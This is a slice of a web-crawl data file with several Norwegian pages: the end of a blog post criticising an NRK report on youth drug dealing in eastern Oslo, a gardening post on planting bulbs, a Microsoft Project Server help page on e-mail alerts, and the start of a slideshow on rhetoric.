noen som var yngre.\u00a0\n\n*- \u0139ja. 11-\u013aringer som holder\u00a0joint lissom, sier \"Abdul\".*\n\n\u00a0Som ogs\u013a forteller at yngste selgeren han har h\u0159rt om er 12, \"men det fins garantert mange yngre enn det ogs\u013a\".\u00a0\n\nS\u013a forteller NRK at Abdul forteller at det n\u013a er sv\u0107rt mange som selger hasj, \"rundt en fjerdedel av alle ungdommer p\u013a hans alder, og over\".\u00a0\n\nEn fjerdedel? 25 prosent av alle ungdommene i tre bydeler? I alle\u00a0ungdomsskoleklasser med for eksempel 20\u00a0elever er det alts\u013a i gjennomsnitt\u00a0*fem* som selger?\n\n  \n*\"Det finnes garantert mange yngre enn det ogs\u013a\". Skjermdump*  \n\u00a0\n\nS\u013a skjer det underlige: Vi f\u013ar se rapporten *Ung i Oslo 2015*, utgitt av forskere p\u013a NOVA, som har intervjuet 24000 ungdommer over hele Oslo. Denne rapporten sier at under 10 prosent i de aktuelle bydelene har ruset seg p\u013a hasj.\u00a0\n\nMen det er for lite, sier NRK enkelt.\u00a0For ingen av de \u00a0som NRK har snakket med, tror at tallet er s\u013a lavt. De fleste mener det ligger rundt 50 prosent.\n\nP\u013a hvilket grunnlag mener de det? Hvem er kildene for dette? Er det \"Abdul\" som sier det? Eller \"Veton\"? Hvordan skal de vite det? S\u0159ndre Nordstrand, Stovner og Grorud bydeler i Oslo har rundt 90 000 innbyggere - dobbelt s\u013a mange som i hele \u0139lesund kommune - hvor jeg vokste opp p\u013a 70-tallet, og hvor det ogs\u013a fantes hasjselgere.\n\nDette st\u013ar jo rett og slett ikke til troende. Jeg sier ikke at de snakker usant, men \"Abdul\" og \"Veton\" kjenner vel ikke s\u013a mange flere enn sin egen omgangskrets? Og s\u013a den logiske bristen da: hvis en fjerdedel selger, og \"bare\" halvparten bruker - hvem selger de til? Har de *en* kunde hver?\u00a0\n\nMen her tar NRK \"medvitertrikset\", en god og velpr\u0159vd metodikk:\n\nNRK sp\u0159r politimannen:\u00a0\n\n*- Ungdommer som vi har snakket med, og kriminelle, sier at hvertfall en fjerdedel av jevnaldrende i alderen 15 til 18 \u013ar selger, og at over halvparten har r\u0159ykt eller bruker daglig hasj eller mariuana? \u00a0*\n\nDette er tall inspekt\u0159ren ikke kan god\u00a0for, sier han.\n\n*- Men jeg reagerer heller ikke p\u013a tallene n\u013ar du oppgir dem p\u013a den m\u013aten der.*\u00a0\n\nNeivel. Som vanlig seer vil du kanskje oppfatte dette som en bekreftelse p\u013a at det virkelig er slik\u00a0NRK sier. Men det er selvsagt ikke\u00a0det. Det er ikke sikkert politiinspekt\u0159ren\u00a0f\u013ar med seg helt hva som blir sagt i sp\u0159rsm\u013alet en gang, eller har satt seg inn i tallene.\u00a0Om vi er riktig skeptiske kan det hende han bare er velvillig.\u00a0\n\n\nS\u013a kommer en ny p\u013astand fra NRK, samtidig som vi ser T-banen forlate en m\u0159rk Mortensrud stasjon\n\n*- I de \u0159stlige bydelene har vold blant ungdom \u0159kt kraftig, samtidig som\u00a0kriminaliteten g\u013ar ned i resten av Oslo.*\u00a0\n\nDenne gangen bryr ikke NRK seg med \u013a nevne kilder i det hele tatt.\u00a0\n\nIngen statistikk for \u013a sannsynligj\u0159re p\u013astanden. Men hocketreneren er bekymret, og tror at \u013arsaken kan v\u0107re lavinntektsfamilier som ikke f\u0159lger opp barna sine godt nok.\n\n*- M\u013a det mer politi til?*\u00a0sp\u0159r NRK - og f\u013ar bekreftende svar p\u013a det. Som NRK ogs\u013a ville f\u013att i Sykkylven\u00a0eller Bod\u0159 eller andre steder der folk ogs\u013a synes det er for lite synlig politi i gatene.\n\nMen n\u013a mer statistikk:\u00a0I Oslo \u0159st er det opp mot 50 prosent innvandrere, viser en plansje. I hele Oslo: 32 prosent, og nabobydelen Nordstrand 16 prosent.\n\nTilbake til \"Veton\" igjen, som sier at integreringen har sl\u013att feil. At n\u013ar det samles s\u013a mange utlendinger ett sted, s\u013a dannes egne sm\u013asamfunn.\n\nS\u013a godt passer denne replikken inn i dramaturgien, at det nok var\u00a0mange som hevet et \u0159yenbryn da Adel Khan Farooq, som har skrevet om radikalisering\u00a0av innvandrerungdom og jobbet sammen med filmskaper Ulrik Imtiaz Rolfsen, la ut en melding p\u013a twitter l\u0159rdag kveld. Her hevdet\u00a0han at han hadde blitt oppringt av NRK og spurt\u00a0om han kunne si at \"det er svenske tilstander i Oslo\". Han begynte bare \u013a le, fortalte han.\n\n  \n*Tweeten som satte debatten i gang.*  \n\u00a0\n\nNRK har tilbakevist dette, og her er det sikkert rom for misforst\u013aelser. Det er ikke sikkert at noen snakker usant.\n\nUansett - tilbake til reportasjen: N\u013a presenterer NRK oss for Naom Daniel fra Haugenstua. Vi f\u013ar ikke vite hvem *han* er eller hva han gj\u0159r, bortsett fra at han \"kjenner milj\u0159ene med utsatt ungdom, og hvordan de har utviklet seg\".\n\n*- Vi har en indre justis. Det er ikke politiet du\u00a0er redd for, hvis du har mista hasj eller blir tatt med hasj. Du er redd for de som m\u0159ter deg hver dag ute i milj\u0159et, sier han.*\n\n*- Og da har vi p\u013a en m\u013ate laget et parallellsamfunn, legger han til.*\u00a0\n\nS\u013a sp\u0159r NRK om han er redd\u00a0for at det skal skje det samme her i Oslo som i mange av Sveriges storbyer?\n\n*- Jeg mener at det skjer. Det skjer hver dag. Det er bare at folk har ikke sett det,\u00a0sier han.*\n\nHan f\u013ar st\u0159tte fra Anne Karima Nordengen, som vi husker fra starten av reportasjen:\n\n*- Vi er p\u013a god vei dit, sier hun*. \u00a0\n\nJavel.\n\nJeg er enig med Jan B\u0159hler (Ap), som blir intervjuet til slutt i reportasjen, om at gjenger som styrker seg kan v\u0107re en stor trussel\u00a0mot v\u013art samfunn. Jeg er ogs\u013a enig med ham i at de som ikke vil \"prate ned\" bydelene sine, og holder munn, bare \u0159delegger for de omr\u013adene det gjelder.\n\nJeg er ogs\u013a enig i at det m\u013a massive tiltak til i de \u0159stlige bydelene i Oslo. Men da m\u013a vi vite hvilke tiltak vi skal sette inn.\n\nProblemet er\u00a0at\u00a0NRK med sin reportasje er at den skyter langt over m\u013al.\u00a0\n\nDen er ikke i n\u0107rheten av \u013a dokumentere at det florererer med skytev\u013apen blant barn og ungdom p\u013a \u0159stkanten i Oslo. NRK har slett ikke p\u013avist, ikke engang sannsynliggjort, at \"en fjerdedel av ungdommene i bydelene Stovner, Grorud og \u00a0S\u0159ndre Nordstrand selger hasj\" - eller at \"over halvparten av dem har brukt eller bruker hasj\u00a0daglig\".\n\nVi som bor i de \u0159stlige bydelene i Oslo *vet* at p\u013astanden er latterlig. Vi har\u00a0ikke oppdaget\u00a0noe svenske tilstander.\u00a0Ikke\u00a0politiet heller. Og ikke forskerne. I den samme rapporten som NRK viste fram, men ikke trodde p\u013a, st\u013ar det til og med at narkotika blant undom er *mer* utbredt i andre bydeler. \u00a0\n\nMen vi vet at det finnes voldelige gjenger. Vi vet at det selges narkotika, og vi vet at enkelte\u00a0er ekstremt unge - sikkert ned mot 12-13 \u013ar, for slike\u00a0finnes\u00a0andre steder i landet ogs\u013a. Noen har sikkert v\u013apen. Og det er grunn til \u013a tro at\u00a0innvandrerungdommer er mer involvert enn andre. Det er ogs\u013a mulig volden er \u0159kende.\n\nMen dette f\u013ar vi faktisk ikke vite noe om. For i stedet for en\u00a0faktabasert reportasje har NRK laget en \"dokumentar\" som tar i bruk alle triksene i boka slik at det skal se mest mulig skummelt ut, og som hovedsakelig baserer seg p\u013a \"heresay\" og historier om at det blir \"stadig verre\".\u00a0\n\nHva med \u013a satse p\u013a at fakta holder? Da kunne vi f\u013att en n\u0159dvendig debatt om Oslo \u0159st. N\u013a fikk vi i stedet en debatt om *reportasjen.*\u00a0Jeg oppfordrer herved NRK om\u00a0\u013a f\u013a debatten p\u013a sporet igjen - ved \u013a legge fram faktagrunnlaget sitt.\n\nSlik reportasjen er n\u013a, fungerer den utelukkende polariserende:\n\nDe som allerede *tror* p\u013a\u00a0forferdelige tilstander p\u013a Oslo \u0159st, f\u013ar bekreftet sin virkelighetsoppfatning.\u00a0Mens de som skj\u0159nnmaler \"det fargerike fellesskapet\" og mener at alt vil g\u013a seg til av seg selv, kan avfeie det hele som h\u013apl\u0159st overdrevne skrekkscenarier. \u00a0\n\n  \n*Riktig skremmende uttalelse fra 15-16 \u013ar gammel hasjselger. Skjermdump*  \n\u00a0\n\nJeg har tidligere argumentert for den ekstreme middelvei i innvandringsdebatten. Om \u013a styre unna de mest f\u0159lelsesladde argumentene p\u013a begge sider av debatten. Og heller fors\u0159ke \u013a f\u013a fram harde fakta.\n\nJeg mener det er *viktig* \u013a ta opp problemene p\u013a Oslo \u0159st. NRK skal ha all \u0107re for at de v\u013ager \u013a ber\u0159re innvandring og integrering og rus og kriminalitet.\u00a0Men det m\u013a gj\u0159res med fakta som er dokumenterbare, ikke fors\u0159ke \u013a sannsynliggj\u0159re p\u013astander\u00a0som du enten m\u013a tro\u00a0eller ikke tro p\u013a.\u00a0\n\nMen Dagsrevyen var ikke i faktahj\u0159rnet l\u0159rdag kveld. I stedet ble reportasjen avsluttet med et skikkelig apokalyptisk skremmeskudd fra en av hasjselgerne:\u00a0\u00a0\n\n*- Vi kommer alltid til \u013a v\u0107re et steg foran. For hvert skritt politiet tar og tror de kommer n\u0107rmere, tar vi alltid ti skritt videre*.\n\nSier alts\u013a en ungdom p\u013a 15-16 \u013ar til NRK. Kanskje har han rett.\n\n**Eller kanskje st\u013ar han bare der og t\u0159ffer seg**.\n\n## Erik Stephansen\n\n", "language": "no", "__index_level_0__": "f47c45c7-94bf-4977-b79b-4cd03d94e546"}
{"url": "http://hageflekken.blogspot.com/2011/02/lkplanting-na.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:38:02Z", "text": "om \u00f8kologisk hageglede\n\n## fredag 18. februar 2011\n\n### L\u00f8kplanting n\u00e5?\n\nJada, du leste riktig: Det g\u00e5r helt greit \u00e5 plante l\u00f8k n\u00e5\\! Alle de l\u00f8kene som vi egentlig skulle ha satt i jorden i h\u00f8st - men s\u00e5 ble det for travelt og s\u00e5 m\u00e5tte vi reise bort og s\u00e5 ble ungene syke og s\u00e5 kom vinteren s\u00e5 altfor tidlig..... :-) Hvis l\u00f8kene er oppbevart nogenlunde kj\u00f8lig er det fortsatt h\u00e5p. Ikke er det vanskelig heller\\!  \n  \nDe l\u00f8kene vi planter om h\u00f8sten er \"programmert\" til \u00e5 trenge en kuldeperiode f\u00f8r de spirer. Men det er ingen grunn til at den kuldeperioden skal v\u00e6re like lang som en lang norsk vinter\\! Mange l\u00f8kleverand\u00f8rer anbefaler at l\u00f8kene settes minst 4-5 uker f\u00f8r frost (hvordan man n\u00e5 kan beregne det.....): Det er bl.a. fordi l\u00f8ken skal f\u00e5 tid til \u00e5 utvikle r\u00f8tter f\u00f8r frosten kommer. Men alle som har v\u00e6rt for sent ute med l\u00f8kplantingen vet at de aller fleste l\u00f8kene blomstrer flott selvom de er plantet dagen f\u00f8r den f\u00f8rste sn\u00f8en kom. Jeg har til og med plantet l\u00f8k i \"kakelinna\" i desember, med godt resultat.  \n  \nVi kan lett oppfylle b\u00e5de behovet for \u00e5 sette r\u00f8tter og behovet for en kuldeperiode ved \u00e5 plante l\u00f8kene n\u00e5. Da lar vi dem st\u00e5 inne en stund (avhengig av temperatur), og s\u00e5 setter vi rett og slett plantebeholderne ut p\u00e5 et litt beskyttet sted, og gjerne med litt sn\u00f8 over. I romtemperatur b\u00f8r ikke l\u00f8kene st\u00e5 mer enn en snau uke - ellers risikerer vi at de spirer. I en kj\u00f8lig kjellerbod eller frostfri garasje kan de godt st\u00e5 etpar-tre uker f\u00f8r de settes ut.  \n  \nDet vanskeligste sp\u00f8rsm\u00e5let er faktisk: Hva planter vi l\u00f8kene i?  \n  \nEn mulighet er frostsikre potter - alt fra lekre designpotter i keramikk til kjedelige sorte plastpotter.\u00a0 Da m\u00e5 l\u00f8kene f\u00e5 spire og vokse og sette blomst i den samme potten. S\u00e5 kan vi selvf\u00f8lgelig flytte dem ut i et bed i hagen n\u00e5r blomstringen er over.  \n  \nMen dette er lite praktisk hvis vi har mange l\u00f8k - eller f\u00e5 potter. I tillegg kommer at skulle det n\u00e5 bli sprengfrost i mars s\u00e5 risikerer vi at l\u00f8kene blir frostskadet: De st\u00e5r mye mer ubeskyttet i en potte enn 15 centimeter under jorden, beskyttet av et sn\u00f8lag.  \n  \nMange hageb\u00f8ker har lekre plansjer om hvordan man planter l\u00f8k i \"etasjer\". Det ser flott ut i teorien, men er vanskelig \u00e5 f\u00e5 til - s\u00e6rlig i potter eller beholdere.\u00a0 I hvert fall hvis man vil ha gjenblomstring neste \u00e5r. Delvis fordi de nederste l\u00f8kene lett f\u00e5r en \"kronglete\" strekningsvekst og blir misdannet - de skal navigere opp mellom andre l\u00f8k.\u00a0 Men f\u00f8rst og fremst fordi l\u00f8k som blomstrer til ulike tidspunkt vil ha forskjellig n\u00e6ringsbehov. Krokus og sn\u00f8klokker vil visne tidlig - og trenge rikelig med n\u00e6ring etter blomstringen hvis de skal komme igjen neste \u00e5r. Hvis vi dytter mye n\u00e6ring opp i potten n\u00e5r de er avblomstret, risikerer vi at narciss- og tulipanl\u00f8kene, som st\u00e5r dypere og enda ikke har blomstret, f\u00e5r altfor mye nitrogen og utvikler masse blader og lite blomster.......  \n  \nMitt r\u00e5d er: Plant l\u00f8k som blomstrer omtrent samtidig i samme potte -og glem \"etasjeplanting\".\u00a0 Fyll heller p\u00e5 med sommerblomster og stauder i pottene\\!  \n  \nJeg har flere ganger satt l\u00f8k tett-i-tett i s\u00e5nne sammenleggbare plastkasser med perforerte sider som vi f\u00e5r kj\u00f8pt for en billig penge p\u00e5 Nille og Claes Ohlsson og mange andre steder. Da kan kassene flyttes ut, og s\u00e5 kan l\u00f8kene flyttes over i potter eller bed eller urner eller verandakasser etterhvert som v\u00e5rsolen begynner \u00e5 varme.  \n  \nF\u00f8rste gang jeg gjorde det, fikk jeg et stort problem: L\u00f8kene var begynt \u00e5 spire, og de sm\u00e5 spirene brakk og ble skadet under flytting og omplanting. Mange r\u00f8tter ble ogs\u00e5 skadet. Jeg tror nesten halvparten av l\u00f8kplantene ble \u00f8delagt i denne prosessen. Selvf\u00f8lgelig blomstret de igjen \u00e5ret etter - men det var en mager tr\u00f8st akkurat da.  \n  \nDa fant jeg ut at hvis jeg skal plante i kasser og senere plante om, m\u00e5 hver enkelt l\u00f8k settes ned i sin egen lille \"beholder\", s\u00e5nn at planten kan flyttes uten at r\u00f8ttene blir forstyrret. Samme teknikk som n\u00e5r vi s\u00e5r i torvbriketter, og planter ut hele torvklumpen med nett rundt.\u00a0 Og sm\u00e5 l\u00f8k (f.eks. sn\u00f8klokker, perleblomster og scilla) kan faktisk godt settes i torvbriketter\\! Da er det lett \u00e5 plante dem ut: De sm\u00e5 \"nettene\" med torv kan settes tett i tett i bedet, litt jord skuffes over - og vips, s\u00e5 har vi et lekkert tidlig l\u00f8kbed.....  \n  \nMen verken tulipaner eller narcisser passer i torvbriketter. Da tar vi fantasien til hjelp: Avklipte melkekartonger, oppklipte str\u00f8mpebukser m. knute nederst, bomulls-eller ullsokker, avispapirpotter, tynnslitte frotteh\u00e5ndkl\u00e6r som knyttes til en pose m. vanlig hyssing.......\u00a0 Alle typer beholdere som gradvis forsvinner (komposteres) n\u00e5r de settes i jord, og som tillater at hver enkelt plante kan \"transplanteres\" med hele rotsystemet i behold, er brukelig\\!  \n  \nAvlagte sokker blir flotte l\u00f8kbeholdere\\! Jeg setter dem tett i tett i en kasse, og fyller p\u00e5 med jord over. Og f\u00e5r flott blomstring allerede i mai\\!\n\n\u00a0\n\n\n  \nMan fyller alts\u00e5 en sokk eller melkekartong eller avispapirpotte med jord, dytter l\u00f8ken oppi, plasserer sokken eller kartongen i en kasse - fyller neste sokk, etc. etc.\u00a0 Tett i tett, med jord rundt og over.\u00a0 Jeg f\u00e5r plass til\u00a0 i hvert fall 60 tulipanl\u00f8k i en kasse. Noen dager i matboden (m\u00f8rkt, ca. 15 grader) - og s\u00e5 rett ut p\u00e5 terrassen eller litt beskyttet under et tre i hagen.  \n  \nS\u00e5 blir det spennende n\u00e5r sn\u00f8en g\u00e5r:\u00a0 Som regel trengs det jo i hvert fall noen dager med \"oppt\u00f8rking\" etter at sn\u00f8en har forsvunnet f\u00f8r jorden er \"lagelig\" - i hvert fall i leirjorden her p\u00e5 \u00d8stlandet. Men l\u00f8kplantene kan godt plantes ut i bedene om selvom det er nattefrost. S\u00e5 lenge hele beholderen som beskytter r\u00f8ttene er intakt, kan l\u00f8kene omhyggelig flyttes over i bedene bare noen dager etter at sn\u00f8en er forsvunnet. Og s\u00e5 er det bare \u00e5 glede seg til v\u00e5rblomstringen\\!  \n  \n  \n00:27              \n\n    \n\n  \n\n    \n\n## Litt om meg selv:\n\nBor p\u00e5 L\u00f8renskog med stor hage stappfull av prosjekter i alle stadier. Tok gartnerutdannelse i godt voksen alder, og driver et lite r\u00e5dgivningsfirma (Hageflekken) innen hagebruk. Er mer opptatt av hageglede og hageundring enn av golfplen og perfekte bedkanter....... :-)  \n\n    \n\n", "language": "no", "__index_level_0__": "f338b280-c05b-43df-bf68-84c8dbcd1dbb"}
{"url": "https://support.office.com/nb-no/article/Varsle-om-eller-minne-meg-p%C3%A5-endringer-med-e-postvarsler-37A6A3BC-04F6-4442-8CF5-AE8D30D25371", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:49:30Z", "text": "# Varsle om eller minne meg p\u00e5 endringer med e-postvarsler\n\n**Obs\\!:**\u00a0 Vi \u00f8nsker \u00e5 gi deg det nyeste hjelpeinnholdet s\u00e5 raskt som mulig, p\u00e5 ditt eget spr\u00e5k. Denne siden er oversatt gjennom automatisering og kan inneholde grammatiske feil eller un\u00f8yaktigheter. Form\u00e5let v\u00e5rt er at innholdet skal v\u00e6re nyttig for deg. Kan du fortelle oss om informasjonen var nyttig for deg nederst p\u00e5 denne siden? Her er den engelske artikkelen for enkel referanse.\n\nVarsler, og kalt advarsler og p\u00e5minnelser, er e-postmeldinger som er sendt av Microsoft Office Project Server 2007, basert p\u00e5 innstillinger som er definert i Microsoft Office Project Web Access.\n\n## Om advarsler og p\u00e5minnelser\n\nDet finnes to typer varsler:\n\n  - **Advarsler**\u00a0\u00a0\u00a0\u00a0 Du kan definere advarsler til \u00e5 motta e-postvarsel umiddelbart n\u00e5r det har skjedd noe med aktiviteten eller statusrapporten. Du kan for eksempel aktivere advarsler som skal varsle deg n\u00e5r du mottar en ny aktivitetstildeling eller n\u00e5r du mottar en ny foresp\u00f8rsel om statusrapport.\n\n  - **P\u00e5minnelser**\u00a0\u00a0\u00a0\u00a0 Du kan konfigurere p\u00e5minnelser til \u00e5 motta e-postvarsel n\u00e5r oppmerksomheten din kreves p\u00e5 aktiviteter og statusrapporter. P\u00e5minnelser er basert p\u00e5 betingelser, for eksempel en tidsperiode etter at en aktivitet oppst\u00e5r, og sendes i henhold til en regelmessighetsplan som du definerer, for eksempel hver tredje dag. Du kan for eksempel definere en p\u00e5minnelse som vil varsle deg en dag f\u00f8r statusrapporten skal v\u00e6re klar, eller som vil sende deg regelmessige e-postmeldinger noen dager etter at aktiviteter er forfalt.\n\nLedere kan definere advarsler og p\u00e5minnelser for ressursene sine. Hvis lederen har gjort dette, vil du f\u00e5 b\u00e5de varsler definert av lederen (for eksempel for forfalte aktiviteter eller statusrapporter) og varslene som du selv har definert.\n\n**Obs\\!:**\u00a0Hvis lederen har definert advarsler du ikke vil motta, kan du reservere deg mot \u00e5 motta disse advarslene. Du kan ikke reservere deg mot p\u00e5minnelser som ble definert av lederen.\n\n## Angi varsler for deg selv\n\n1.  Klikk **Personlige innstillinger** p\u00e5 hurtigstarten.\n\n2.  Klikk **Administrer mine varsler og p\u00e5minnelser**.\n\n3.  Under **Aktiviteter** og **Statusrapporter** velger du advarslene og p\u00e5minnelsene du vil motta.\n    \n    **Obs\\!:**\u00a0P\u00e5minnelser som defineres for deg av lederen, har forrang over dine personlige innstillinger. Hvis for eksempel lederen definerer en p\u00e5minnelse om \u00e5 sende deg en e-post \u00e9n dag f\u00f8r en statusrapport skal sendes inn, og du velger ikke \u00e5 ha p\u00e5minnelser tilsendt om statusrapporten, vil du allikevel motta p\u00e5minnelsen som er definert av lederen.\n\n4.  Angi hvor ofte du vil at p\u00e5minnelsene skal sendes.\n\n5.  Under **Spr\u00e5kinnstilling** velger du spr\u00e5ket og formatet du vil bruke for varslene.\n\n6.  Klikk **Lagre** for \u00e5 definere ferdig advarslene og p\u00e5minnelsene.\n\n## Angi varsler for ressursene\n\n1.  Klikk **Personlige innstillinger** p\u00e5 hurtigstarten.\n\n2.  Klikk **Administrer ressursenes varsler og p\u00e5minnelser**.\n\n3.  Under **Aktivitetene til mine gruppemedlemmer** og **Statusrapportene til mine ressurser** velger du advarslene og p\u00e5minnelsene du vil sende til ressursene dine.\n\n4.  Angi hvor ofte du vil at p\u00e5minnelsene skal sendes.\n\n5.  Under **Spr\u00e5kinnstilling** velger du spr\u00e5ket og formatet du vil bruke for varslene.\n\n6.  Klikk **Lagre** for \u00e5 definere ferdig advarslene og p\u00e5minnelsene.\n\n**Obs\\!:**\u00a0\n\n  - Etter hvert som et prosjekt skrider frem, kan det hende du vil justere typen og frekvensen for e-postp\u00e5minnelser. Det kan for eksempel hende du vil angi en lengre varighet opprinnelig (for eksempel flere dager eller uker) for en p\u00e5minnelse om forfalte aktiviteter, og deretter forkorte varigheten senere slik at p\u00e5minnelser sendes s\u00e5 snart en aktivitet forfaller.\n\n  - P\u00e5minnelser som er definert av en leder, har forrang over de personlige innstillingene til en ressurs. Hvis for eksempel en leder definerer en p\u00e5minnelse som sender e-post til alle ressurser \u00e9n dag f\u00f8r en statusrapport forfaller, og en ressurs har valgt ikke \u00e5 motta p\u00e5minnelser, vil ressursen allikevel motta p\u00e5minnelsene som er definert av lederen.\n\n**Hvorfor kan jeg ikke utf\u00f8re noen handlinger i Microsoft Office Project Web Access ?**\n\nAvhengig av tillatelsesinnstillingene du brukte til \u00e5 logge Project Web Access, kan du ikke kunne se eller bruke bestemte funksjoner. Hva du ser p\u00e5 enkelte sider kan v\u00e6re forskjellig fra, hva dokumenteres hvis serveradministratoren tilpasset Project Web Access og ikke tilpasset hjelp til \u00e5 samsvare med.\n\n", "language": "no", "__index_level_0__": "09e831e2-7c0c-4135-a0c1-39557ea53a26"}
{"url": "http://slideplayer.no/slide/2657730/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-25T00:00:12Z", "text": " 1  **L\u00e6ren om talekunst. Kunsten \u00e5 tale for \u00e5 overbevise.**  \nRetorikk: L\u00e6ren om talekunst. Kunsten \u00e5 tale for \u00e5 overbevise.   \n\n 2  Retorikk: Retorikk betyr veltalenhet eller det \u00e5 v\u00e6re flink til \u00e5 ordlegge seg. Vi forbinder ofte retorikk med kunsten \u00e5 overtale. Retorikken forteller oss noe om hvordan vi kan lykkes i kommunikasjonen med andre. Det dreier seg om \u00e5 kommunisere et budskap som: Underbygger din troverdighet. Vekker mottakerens interesse. Viser at du har kunnskap om selve saken.   \n\n 3  **Avsenderen \u2013 Budskapet - Mottakeren**  \nN\u00e5r vi skal l\u00e6re om retorikk og kommunikasjon, m\u00e5 vi forst\u00e5 f\u00f8lgende begreper: Avsender Budskap Mottaker Den som snakker Det som blir sagt Den som h\u00f8rer p\u00e5   \n\n 4  **Ethos, pathos og logos. Den som skal overbevise/p\u00e5virke noen m\u00e5:**  \nDen greske filosofen Aristoteles (384\u2013322 f.Kr.) regnes som \"retorikkens far\" fordi han var den f\u00f8rste som beskrev talekunsten p\u00e5 en systematisk m\u00e5te, allerede \u00e5r 330 f\u00f8r Kristus. Aristoteles tok i bruk begrepene Ethos, Pathos og Logos, for \u00e5 beskrive hvordan man kan overtale og p\u00e5virke andre: Den som skal overbevise/p\u00e5virke noen m\u00e5: Framst\u00e5 med autoritet (\u00e5 v\u00e6re respektert) og troverdighet (Ethos). Bevege og vekke f\u00f8lelsene hos mottakerne (Pathos). Legge fram overbevisende fakta om en sak som oppleves som fornuftig, logisk og sannsynlig (Logos). Aristoteles (384\u2013322 f.Kr.)  regnes som retorikkens far fordi han var den f\u00f8rste som beskrev talekunsten p\u00e5 en systematisk m\u00e5te, allerede \u00e5r 330 f\u00f8r Kristus. Aristoteles tok i bruk begrepene Ethos, Pathos og Logos, for \u00e5 beskrive hvordan man kan overtale og p\u00e5virke andre: Den som skal overbevise/p\u00e5virke noen m\u00e5: Framst\u00e5 med autoritet (\u00e5 v\u00e6re respektert) og troverdighet (Ethos). Bevege og vekke f\u00f8lelsene hos mottakerne (Pathos). Legge fram overbevisende fakta om en sak som oppleves som fornuftig, logisk og sannsynlig (Logos). Aristoteles (384\u2013322 f.Kr.)\")  \n\n 5  Video: Hva er retorikk?   \n\n 6  1. Ethos 1. Ethos 2. Pathos 3. Logos Med ethos mener man troverdighet, og det \u00e5 v\u00e6re respektert. Aristoteles mente at tre punkter var avgj\u00f8rende for \u00e5 ha troverdighet. Hva har den som taler av: Forstand: Er han/hun kompetent og kan ta fornuftige avgj\u00f8relser? Dyd: Har vedkommende god moral, gj\u00f8r gode gjerninger, og mistenkes ikke for \u00e5 bedra, lure eller villede? Velvilje: Er vedkommende vennlig og villig stemt ovenfor mottakarene og signaliserer tydelig at han vil deres beste? En utfordring i dag som de ikke hadde i antikken da Aristoteles levde: I dag m\u00e5 man v\u00e6re den samme enten man st\u00e5r p\u00e5 talerstolen eller uttaler/viser seg privat p\u00e5 sosiale medier og underholdningsprogram.   \n\n 7  **Ethos Oppgave: Kong Harald Kung Carl Gustav 1. Ethos 2. Pathos**  \n3\\. Logos Kong Harald Kung Carl Gustav Oppgave: Hva tenker du om ethos hos disse personene? Diskuter innad i gruppa. I Sverige er ikke kongen respektert p\u00e5 samme m\u00e5te som kong Harald i Norge. Kong Carl Gustavs (ethos) er svekket fordi han har sagt og gjort en del kontroversielle ting. Svenskekongens mange tabber (link). Hvordan b\u00f8r en l\u00e6rer fremst\u00e5 for \u00e5 ha troverdighet ovenfor dere? Diskuter i gruppa.  er svekket fordi han har sagt og gjort en del kontroversielle ting. Svenskekongens mange tabber (link). Hvordan b\u00f8r en l\u00e6rer fremst\u00e5 for \u00e5 ha troverdighet ovenfor dere Diskuter i gruppa.\")  \n\n 8  **Oppgave: Hva tenker du om ethos hos disse personene**  \nOppgave: Hva tenker du om ethos hos disse personene? Diskuter innad i gruppa. Erna Bj\u00f8rn Eidsv\u00e5g Petter Northug Charter-Svein \u00d8stvik Jens Stoltenberg Mette-Marit   \n\n 9  2. Pathos 1. Ethos 2. Pathos 3. Logos Pathos er den delen av talen som henvender seg direkte til folks f\u00f8lelser. N\u00e5r man overtaler sine tilh\u00f8rere gjennom \u00e5 spille p\u00e5 f\u00f8lelsene deres, benytter man seg av pathos. N\u00e5r man pr\u00f8ver \u00e5 overtale noen, spiller f\u00f8lelsene inn ved at: Man vekker et f\u00f8lelsesmessig engasjement for \u00e5 holde p\u00e5 oppmerksomheten. Hvis mottakerne av det du sier ikke blir glade, sinte eller ber\u00f8rt av det du sier, vil de fort begynne \u00e5 kjede seg, og kanskje slutte \u00e5 h\u00f8re p\u00e5/lese hva du har \u00e5 si. F\u00f8lelsene har innvirkning p\u00e5 hvordan vi mennesker vurderer en sak. F\u00f8lelsen/stemningen man er i n\u00e5r man skal gj\u00f8re seg opp en mening om noe er avgj\u00f8rende. Om den som taler fremkaller glede, tristhet, sinne, frykt, medlidenhet osv, har det mye \u00e5 si for hvordan folk reagerer, oppfatter og lar seg p\u00e5virke av det som blir sagt. F\u00f8lelsene virker motiverende til \u00e5 gj\u00f8re noe. N\u00e5r man pr\u00f8ver \u00e5 overtale noen, \u00f8nsker man ofte at dette skal f\u00e5 dem til \u00e5 gj\u00f8re noe du \u00f8nsker. F.eks stemme p\u00e5 et pari, kj\u00f8pe en vare eller f.eks bli fadder for foreldrel\u00f8se barn.   \n\n 10  3. Logos 1. Ethos 2. Pathos 3. Logos N\u00e5r mottakerne av et budskap blir overbevist fordi de oppfatter det som blir sagt som sant eller sannsynlig, har de blitt overbevist av det som kalles logos. Er man en god retoriker, er man alts\u00e5 flink til \u00e5 fremstille noe som sant eller sannsynlig, gjennom beskrivelser og argumentasjon. Beskrivelsene m\u00e5 v\u00e6re tilpasset folks generelle oppfatning av verden rundt seg, slik at de kan nikke gjenkjennende til det som blir sagt. P\u00e5 den m\u00e5ten kan argumentene fremst\u00e5 som sannsynlige og ha overbevisende kraft.   \n\n 11  **Hvordan forberede et budskap?**  \nHvordan b\u00f8r man forberede en tale, en tekst, en annonse, en reklamefilm, etc? Retorikken deler inn arbeidet i fem deler: Inventio (Innhold) Dispositio (Disposisjon) Elocutio (Velge en stil) Memoria (Memorere) Actio (Framf\u00f8ringen)  Dispositio (Disposisjon) Elocutio (Velge en stil) Memoria (Memorere) Actio (Framf\u00f8ringen)\")  \n\n 12  \n\n 13  **Hva kan kunnskap om retorikk brukes til?**  \nVed \u00e5 ha kunnskap om retorikk, kan man bli bedre til \u00e5 tale og skrive. Ved \u00e5 ha kunnskap om retorikk kan du foreta bevisste spr\u00e5klige valg n\u00e5r du utformer teksten din. En velformulert tekst vekker mottakerens velvilje og bygger opp din troverdighet. Viser du i tillegg god kunnskap om emnet, kan du tillate deg \u00e5 pr\u00f8ve 